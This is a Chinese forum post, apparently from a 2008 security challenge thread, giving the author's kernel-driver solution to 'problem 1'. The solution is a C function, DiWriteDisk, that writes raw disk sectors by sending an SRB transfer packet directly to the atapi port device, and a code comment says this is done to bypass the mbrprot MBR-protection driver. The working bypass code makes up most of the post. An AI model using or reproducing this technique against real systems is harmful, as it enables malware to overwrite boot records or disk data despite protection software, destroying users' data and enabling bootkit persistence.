大牛们都发代码了,我也来凑凑热闹吧~
3,4,5题没什么意思了,发下第一题的关键部分吧~ 
思路比较常规,向atapi发srb,但是过不了所谓的第二层保护。其实最早的时候是准备还原改过的DeviceObject的,代码很简单,后来以为这样做不符合题意,就换了这个复杂的代码...没想到简单的代码反而更有效,呵呵~

代码:
NTSTATUS
DiWriteDisk(IN ULONG StartSector,
  IN PVOID Buffer,
  IN ULONG Length)
{
  NTSTATUS status;
  UNICODE_STRING DriverName;
  PDRIVER_OBJECT DriverObject;
  PDEVICE_OBJECT Fdo;
  PDEVICE_OBJECT nextDevObj;
  PDEVICE_OBJECT final;
  PCOMMON_DEVICE_EXTENSION commonExtension;
  PIO_STACK_LOCATION nextSp;
  PTRANSFER_PACKET pkt;
  LARGE_INTEGER startLoc;
  PUCHAR bufPtr;
  KEVENT event;
  PMDL Mdl;

  //
  // Open the device object to receive the IRP
  //

  RtlInitUnicodeString(&DriverName, DISK);

  status = ObReferenceObjectByName(&DriverName,
                    OBJ_CASE_INSENSITIVE,
                    NULL,
                    0,
                    *IoDriverObjectType,
                    KernelMode,
                    NULL,
                    &DriverObject);

  if (!NT_SUCCESS(status))
    return status;

  status = DiGetPhysicsDevice(&Fdo, DriverObject);
  if (!NT_SUCCESS(status))
  {
    ObDereferenceObject(DriverObject);
    return status;
  }

  //
  // Lock the buffer
  //

  Mdl = IoAllocateMdl(Buffer, Length, FALSE, TRUE, NULL);
  if (Mdl == NULL) 
  {
    ObDereferenceObject(DriverObject);
    return STATUS_INSUFFICIENT_RESOURCES;
  }
  MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
  bufPtr = MmGetMdlVirtualAddress(Mdl);

  //
  // Allocate PKT and initize it
  //

  pkt = ClassPnp_DequeueFreeTransferPacket(Fdo, TRUE);
  if (NULL == pkt)
  {
    ObDereferenceObject(DriverObject);
    MmUnlockPages(Mdl);
    return STATUS_INSUFFICIENT_RESOURCES;
  }
  startLoc.QuadPart = StartSector * 512;
  Mine_SetupReadWriteTransferPacket(pkt,
                    bufPtr,
                    Length,
                    startLoc,
                    IRP_MJ_WRITE,
                    IRP_NOCACHE | IRP_WRITE_OPERATION | IRP_DEFER_IO_COMPLETION,
                    SL_OVERRIDE_VERIFY_VOLUME);

  //
  // Initize some fields in our pkt
  //

  commonExtension = pkt->Fdo->DeviceExtension;
  nextDevObj = commonExtension->LowerDeviceObject;

  IoReuseIrp(pkt->Irp, STATUS_NOT_SUPPORTED);
  nextSp = IoGetNextIrpStackLocation(pkt->Irp);
  nextSp->MajorFunction = IRP_MJ_SCSI;
  nextSp->Parameters.Scsi.Srb = &pkt->Srb;
  pkt->Srb.ScsiStatus = pkt->Srb.SrbStatus = 0;
  pkt->Srb.SenseInfoBufferLength = sizeof(SENSE_DATA);
  pkt->Irp->MdlAddress = Mdl;

  //
  // Prepare our complete event
  //

  KeInitializeEvent(&event, SynchronizationEvent, FALSE);
  IoSetCompletionRoutine(pkt->Irp, DiWriteIoCompletion, &event, TRUE, TRUE, TRUE);

  //
  // Send our TransferPacket directly down, bypass mbrprot
  //

  status = DiGetPortDevice(&final, nextDevObj);
  if (!NT_SUCCESS(status))
    goto Cleanup;
  status = IoCallDriver(final, pkt->Irp);

  if (STATUS_PENDING == status)
    KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, NULL);

  status = pkt->Irp->IoStatus.Status;

Cleanup:
  MmUnlockPages(Mdl);
  IoFreeMdl(Mdl);
  ObDereferenceObject(DriverObject);
  return status;
}

  • 标 题:答复
  • 作 者:Gmxp
  • 时 间:2008-12-19 23:12:32

嗯~好的~这里~

上传的附件 Problem01.rar